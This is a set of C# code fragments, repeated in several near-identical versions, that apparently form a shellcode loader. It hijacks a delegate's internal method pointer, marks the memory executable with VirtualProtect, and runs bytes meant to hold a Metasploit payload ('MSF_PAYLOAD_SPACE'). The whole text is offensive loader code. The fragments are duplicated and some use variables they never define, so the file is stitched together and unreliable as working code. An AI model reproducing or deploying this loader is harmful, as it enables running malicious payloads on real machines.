unsafe static void Main(string[] args)
{
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] asmBytes = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
asmBytes[i] = Convert.ToByte(shellcode[i]);
}
fixed(byte *startAddress = &asmBytes[0]) // Take the address of our x86 code
{
// Get the FieldInfo for "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
// Set our delegate to our x86 code
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(del, (IntPtr)startAddress);
// Enjoy
uint n = (uint)0xdecafbad;
n = del(n);
Console.WriteLine("{0:x}", n);
}
}
unsafe static void Main(string[] args)
{
fixed(byte *startAddress = &asmBytes[0]) // Take the address of our x86 code
{
// Get the FieldInfo for "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
// Set our delegate to our x86 code
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(del, (IntPtr)startAddress);
// Enjoy
uint n = (uint)0xFFFFFFFC;
n = del(n);
Console.WriteLine("{0:x}", n);
}
}
unsafe public static void executar(byte[] asmBytes)
{
fixed(byte *Endereco_incial = &asmBytes[0])
{
// pegando feildinfo do método "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic |
BindingFlags.Instance);
// ret delegaete
Ret1ArgDelegate Retorno_del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(Retorno_del, (IntPtr)Endereco_incial);
uint protecao_memoria;
VirtualProtect((IntPtr)Endereco_incial, (uint)asmBytes.Length, 0x40, out protecao_memoria);
// exetutar shellcode
uint n_executar = (uint)0x00000001;
n_executar = Retorno_del(n_executar);
Console.WriteLine("{0:x}", n_executar);
}
}
static unsafe void Main(string[] args)
{
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] asmBytes = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
asmBytes[i] = Convert.ToByte(shellcode[i]);
}
fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
{
// Get the FieldInfo for "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
// Set our delegate to our x86 code
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(del, (IntPtr)startAddress);
// Enjoy
uint n = (uint)0xdecafbad;
n = del(n);
Console.WriteLine("{0:x}", n);
}
}
unsafe public static void executar(byte[] asmBytes)
{
fixed (byte* Endereco_incial = &asmBytes[0])
{
// pegando feildinfo do método "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic |
BindingFlags.Instance);
// ret delegaete
Ret1ArgDelegate Retorno_del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(Retorno_del, (IntPtr)Endereco_incial);
//desabilitar a proteção
uint protecao_memoria;
VirtualProtect((IntPtr)Endereco_incial, (uint)asmBytes.Length, 0x40, out protecao_memoria);
// exetutar shellcode
uint n_executar = (uint)0x00000001;
n_executar = Retorno_del(n_executar);
Console.WriteLine("{0:x}", n_executar);
}
}
